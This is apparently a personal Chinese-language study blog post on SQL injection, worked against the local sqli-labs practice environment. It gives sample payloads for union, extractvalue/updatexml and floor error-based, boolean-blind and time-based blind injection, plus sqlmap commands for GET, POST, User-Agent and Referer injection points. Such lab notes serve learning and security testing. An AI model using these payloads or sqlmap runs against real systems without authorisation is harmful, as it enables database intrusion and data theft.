SQL入门

总结12021.8.11

1、普通联合查询

样例payload

Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' %23

 

最基础的;不解释了。

 

2extractvalueupdatexml报错注入

样例payload

Less-5/?id=1' union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema= database()  limit 0,1))),3 %23

Less-5/?id=1' union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema= database()  limit 0,1)),1),3 %23

 

解释:将需要查询的内容前置一个非法字符,写在两函数本应填写路径参数的位置,制造非法路径来获取回显信息,返回如XPATH syntax error: '~emails'形式

关键点:

1)函数原型extractvalue(目标xml文档,xml路径)

updatexml(目标xml文档,xml路径,更新的内容)

20x7e: ~’ ,常用非法字符

 

3floor报错注入

样例payload

Less-5/?id=1' union select 1,count(1),3 from information_schema.tables group by concat(floor(rand(0)*2),(select table_name from information_schema.tables where table_schema=database() limit 0,1)) #
(注:目前在本机Windows下,该注入方法因Can't write; duplicate key in table错误无法使用;不过可在buuoj使用)

 

解释:当最基本的union select查询无回显,但报错信息仍旧回显时,制造主键重复的错误来获取信息,返回如Duplicate entry '0emails' for key 'group_key' 形式。

关键点:(1)第一个union select后的count(1);

2)之后的group by

3)再之后的concat(floor(rand()*2),(想查询的东西));

4)最后limit x,1 查看第x行回显;若不加会回显Subquery returns more than 1 row

 

4、布尔盲注

需配合burp intruder食用。

样例payload

Less-5/?id=-1' or (select ascii(substr(table_name,§1§,1)) from information_schema.tables where table_schema=database() limit 0,1)=§109§ %23

 

解释:当使用1-3注入方法均无含有效信息的回显时,利用布尔盲注逐字符试出想要查询的内容。

本题,当payload为真时,页面上会有You are in...........

字样,但payload为假时,啥都没有。

使用intruder Cluster bomb时,效果如图:

 

 

5、时间盲注

需配合sqlmap食用

样例payload

Less-9/?id=-1'  or if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)>102,sleep(2),0) %23

 

解释:当无论怎么搞,页面回显都巍然不动时,使用时间盲注。当满足if后面的条件时,页面会来回跳一段时间。此法也需要逐字符探测,且不能用intruder

关键点:if(a,b,c) 如果a为真,就执行b,否则执行c

 

 

 

Sqlmap使用(2021.8.31

 

sqlmap页面按【shift】右键打开powershell

 

0.预备知识

常用Sqlmap参数:

--dbs】显示数据库

 

-D “数据库名”】指定数据库

--tables】显示该数据库里的表

 

-T “表名”】指定表

--colums】显示该表的字段名

-C 字段名1,字段名2..”】指定字段

--dump】显示字段中所有内容

 

 

  1. 注入方式(注入点)

1GET型注入:

样例:

python sqlmap.py -u http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=1

参数【-u】表示探测URL;注意GET参数一定要添加,否则会出问题。

成功后,会回显各种可用的注入:

第一行会有【Parameterid(GET)】提示注入方式。

若不成功(无法通过GET方式注入),会回显:

 

 

此时需尝试其他注入点注入。

(2)POST型注入:

抓包->保存->指定注入点->干活

 

burp里抓到如上的包,指定注入点为【uname】(那个【*】起到的就是指定效果)

将其另存为一个TXT文本,用其跑sqlmap

python sqlmap.py -r C:\Users\Dell\Desktop\sql.txt

其会识别注入点:

成功标志:

(如果不标注注入点,乱注一气,也可能成功:

(3)其他类似POST型注入的注入

以下列举的注入点,注入方式同(2);但是不标出注入点,不能成功。

不标出注入点 但设置【--level=3】可能成功,但耗时很长。

注入点为【User-Agent】的注入

注入点为【Referer】的注入

 

 

posted @ 2021-09-11 11:36  hiddener  阅读(88)  评论(0编辑  收藏  举报